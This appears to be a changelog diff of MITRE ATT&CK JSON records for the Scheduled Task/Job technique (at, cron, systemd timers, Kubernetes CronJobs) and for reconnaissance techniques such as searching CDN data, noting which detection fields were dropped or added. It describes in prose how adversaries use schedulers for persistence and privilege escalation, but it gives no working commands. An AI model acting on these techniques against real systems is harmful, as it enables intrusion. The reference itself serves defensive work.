+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1053",
+ "external_id": "T1053"
+ },
+ {
+ "source_name": "ProofPoint Serpent",
+ "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
+ "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
+ },
+ {
+ "source_name": "TechNet Task Scheduler Security",
+ "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Prashant Verma, Paladion",
+ "Leo Loobeek, @leoloobeek",
+ "Travis Smith, Tripwire",
+ "Alain Homewood, Insomnia Security",
+ "Andrew Northern, @ex_raritas",
+ "Bryan Campbell, @bry_campbell",
+ "Zachary Abzug, @ZackDoesML",
+ "Selena Larson, @selenalarson"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS",
+ "Containers",
+ "ESXi"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "2.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Scheduled Job: Scheduled Job Creation\", \"File: File Creation\", \"Process: Process Creation\", \"Container: Container Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.539000+00:00\", \"old_value\": \"2025-04-15 21:41:11.473000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
+ "previous_version": "2.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0003: Scheduled Job (Scheduled Job Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0032: Container (Container Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0094: Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-11-27 13:52:45.853000+00:00",
+ "modified": "2025-10-24 17:49:36.495000+00:00",
+ "name": "At",
+ "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
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+ "kill_chain_name": "mitre-attack",
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+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1053/002",
+ "external_id": "T1053.002"
+ },
+ {
+ "source_name": "rowland linux at 2019",
+ "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.",
+ "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"
+ },
+ {
+ "source_name": "GTFObins at",
+ "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.",
+ "url": "https://gtfobins.github.io/gtfobins/at/"
+ },
+ {
+ "source_name": "Linux at",
+ "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022.",
+ "url": "https://man7.org/linux/man-pages/man1/at.1p.html"
+ },
+ {
+ "source_name": "Twitter Leoloobeek Scheduled Task",
+ "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.",
+ "url": "https://x.com/leoloobeek/status/939248813465853953"
+ },
+ {
+ "source_name": "Microsoft Scheduled Task Events Win10",
+ "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
+ },
+ {
+ "source_name": "TechNet Scheduled Task Events",
+ "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
+ "url": "https://technet.microsoft.com/library/dd315590.aspx"
+ },
+ {
+ "source_name": "Malicious Life by Cybereason",
+ "description": "Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.",
+ "url": "https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ },
+ {
+ "source_name": "TechNet Forum Scheduled Task Operational Setting",
+ "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
+ "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
+ }
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Scheduled Job: Scheduled Job Creation\", \"Network Traffic: Network Traffic Flow\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.495000+00:00\", \"old_value\": \"2025-04-15 19:59:21.266000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n\\nConfigure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n\\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\\n\\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. 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(Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n-\\n-* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n-* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n-* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n-* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n-* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n-* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\\n-\\n-In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).\"}}}",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0003: Scheduled Job (Scheduled Job Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0333: Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-03-29 17:06:22.247000+00:00",
+ "modified": "2025-10-24 17:48:25.363000+00:00",
+ "name": "Container Orchestration Job",
+ "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1053/007",
+ "external_id": "T1053.007"
+ },
+ {
+ "source_name": "Kubernetes CronJob",
+ "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.",
+ "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"
+ },
+ {
+ "source_name": "Kubernetes Jobs",
+ "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.",
+ "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/"
+ },
+ {
+ "source_name": "Threat Matrix for Kubernetes",
+ "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
+ "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Center for Threat-Informed Defense (CTID)",
+ "Vishwas Manral, McAfee",
+ "Yossi Weizman, Azure Defender Research Team"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Containers"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Container: Container Creation\", \"Scheduled Job: Scheduled Job Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.363000+00:00\", \"old_value\": \"2025-04-15 19:58:07.487000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. \"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0003: Scheduled Job (Scheduled Job Creation)",
+ "DS0022: File (File Creation)",
+ "DS0032: Container (Container Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0206: Detection of Malicious Kubernetes CronJob Scheduling"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-12-03 14:25:00.538000+00:00",
+ "modified": "2025-10-24 17:48:33.856000+00:00",
+ "name": "Cron",
+ "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).(Citation: CloudSEK ESXiArgs 2023)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ },
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1053/003",
+ "external_id": "T1053.003"
+ },
+ {
+ "source_name": "CloudSEK ESXiArgs 2023",
+ "description": "Mehardeep Singh Sawhney. (2023, February 9). Analysis of Files Used in ESXiArgs Ransomware Attack Against VMware ESXi Servers. Retrieved March 26, 2025.",
+ "url": "https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers"
+ },
+ {
+ "source_name": "20 macOS Common Tools and Techniques",
+ "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
+ "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
+ }
+ ],
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+ "x_mitre_detection": "",
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Scheduled Job: Scheduled Job Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.856000+00:00\", \"old_value\": \"2025-04-15 19:58:16.429000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0003: Scheduled Job (Scheduled Job Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)"
+ ]
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0290: Cross-Platform Detection of Cron Job Abuse for Persistence and Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-12 17:50:31.584000+00:00",
+ "modified": "2025-10-24 17:49:11.261000+00:00",
+ "name": "Systemd Timers",
+ "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1053/006",
+ "external_id": "T1053.006"
+ },
+ {
+ "source_name": "Systemd Remote Control",
+ "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.",
+ "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/"
+ },
+ {
+ "source_name": "archlinux Systemd Timers Aug 2020",
+ "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.",
+ "url": "https://wiki.archlinux.org/index.php/Systemd/Timers"
+ },
+ {
+ "source_name": "gist Arch package compromise 10JUL2018",
+ "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
+ "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"
+ },
+ {
+ "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018",
+ "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
+ "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"
+ },
+ {
+ "source_name": "acroread package compromised Arch Linux Mail 8JUL2018",
+ "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
+ "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"
+ },
+ {
+ "source_name": "Falcon Sandbox smp: 28553b3a9d",
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+ "url": "https://attack.mitre.org/techniques/T1597",
+ "external_id": "T1597"
+ },
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+ "source_name": "ZDNET Selling Data",
+ "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
+ "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
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+ "phase_name": "reconnaissance"
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+ "url": "https://attack.mitre.org/techniques/T1597/002",
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+ "source_name": "ZDNET Selling Data",
+ "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
+ "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
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+ "x_mitre_domains": [
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+ "new": [
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "name": "Search Open Technical Databases",
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+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1596",
+ "external_id": "T1596"
+ },
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+ "source_name": "Circl Passive DNS",
+ "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
+ "url": "https://www.circl.lu/services/passive-dns/"
+ },
+ {
+ "source_name": "DNS Dumpster",
+ "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
+ "url": "https://dnsdumpster.com/"
+ },
+ {
+ "source_name": "Medium SSL Cert",
+ "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
+ "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
+ },
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+ "source_name": "WHOIS",
+ "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
+ "url": "https://who.is/"
+ },
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+ "source_name": "Shodan",
+ "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
+ "url": "https://shodan.io"
+ },
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+ "source_name": "SSLShopper Lookup",
+ "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
+ "url": "https://www.sslshopper.com/ssl-checker.html"
+ },
+ {
+ "source_name": "DigitalShadows CDN",
+ "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
+ "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
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+ "shared": [],
+ "new": [
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+ ],
+ "dropped": []
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+ "type": "attack-pattern",
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+ "modified": "2025-10-24 17:49:06.210000+00:00",
+ "name": "CDNs",
+ "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
+ "kill_chain_phases": [
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+ "phase_name": "reconnaissance"
+ }
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1596/004",
+ "external_id": "T1596.004"
+ },
+ {
+ "source_name": "DigitalShadows CDN",
+ "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
+ "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
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+ "shared": [],
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+ "DET0809: Detection of CDNs"
